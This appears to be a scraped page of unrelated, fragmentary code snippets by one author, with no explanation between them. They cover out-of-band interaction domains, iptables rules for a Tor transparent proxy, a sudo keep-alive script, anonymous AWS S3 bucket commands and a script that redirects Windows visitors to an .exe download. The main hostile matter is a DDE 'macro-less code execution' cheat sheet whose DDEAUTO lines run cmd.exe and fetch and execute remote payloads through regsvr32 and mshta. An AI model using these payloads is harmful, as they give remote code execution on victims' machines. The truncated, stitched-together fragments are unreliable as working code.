CalfCrusher

interact.sh
oast.pro
oast.live
oast.site
oast.online
oast.fun
oast.me
burpcollaborator.net 
oastify.com
canarytokens.com

CalfCrusher

iptables -A OUTPUT -p icmp -j REJECT
iptables -t nat -A OUTPUT ! -o lo -p tcp -m owner --uid-owner $USER -m tcp -j REDIRECT --to-ports 9040
iptables -t nat -A OUTPUT ! -o lo -p udp -m owner --uid-owner $USER -m udp --dport 53 -j REDIRECT --to-ports 53
iptables -t filter -A OUTPUT -p tcp -m owner --uid-owner $USER -m tcp --dport 9040 -j ACCEPT
iptables -t filter -A OUTPUT -p udp -m owner --uid-owner $USER -m udp --dport 53 -j ACCEPT
iptables -t filter -A OUTPUT ! -o lo -m owner --uid-owner $USER -j DROP

CalfCrusher

#!/usr/bin/env bash

# 'Wi-Fi' or 'Ethernet' or 'Display Ethernet'
INTERFACE=Wi-Fi

# Ask for the administrator password upfront
sudo -v

# Keep-alive: update existing `sudo` time stamp until finished
while true; do sudo -n true; sleep 60; kill -0 "$$" || exit; done 2>/dev/null &

CalfCrusher

Do not use in production Server or if you don't know what iptables do

Add this to torrc ( located on /etc/tor/torrc):

VirtualAddrNetwork 10.192.0.0/10

AutomapHostsOnResolve 1

TransPort 9051 

CalfCrusher

Install Certbot

OSX

$ brew install certbot

Linux

CalfCrusher

to generate example certs
  openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout host.key -out host.crt
  
 run server:
  chmod +x server.py
  ./server.py
  
test server:
  openssl s_client -connect localhost:8888

CalfCrusher

<script type="text/javascript">
if (navigator.platform == 'Win32') {
    setTimeout(function () {window.location = 'https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe'; }, 2000)
}
</script>

CalfCrusher

aws s3 ls s3://s3buckethere --no-sign-request                                                       ## Lists the file in the s3 bucket
aws s3 cp s3://bucketname/filethere.txt . --no-sign-request                                         ## Downloads `filethere.txt` from the s3 bucket in the current directory
aws s3 cp test.txt s3://bucketname --no-sign-request                                                ## Uploads `test.txt` from current directory to the s3 bucket
aws s3api get-bucket-acl --bucket bucketname --no-sign-request                                      ## Shows ACL (Access Control List) of the given bucket
aws s3api get-object-acl --bucket bucketname --key fileons3bucket.ext --no-sign-request             ## Shows ACL (Access Control List) of given object in the bucket

CalfCrusher

#!/usr/bin/python

import sys
import getopt
import urllib2
from optparse import OptionParser

def main():
  # variables
  btcaddr = ""

CalfCrusher

Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet

• Using regsvr32 *.sct files technique:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data   || regsvr32 /s /n /u /i:http://192.168.56.101/empire2.sct scrobj.dll"

• Using HTA files technique:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || mshta http://192.168.56.101/poc.hta"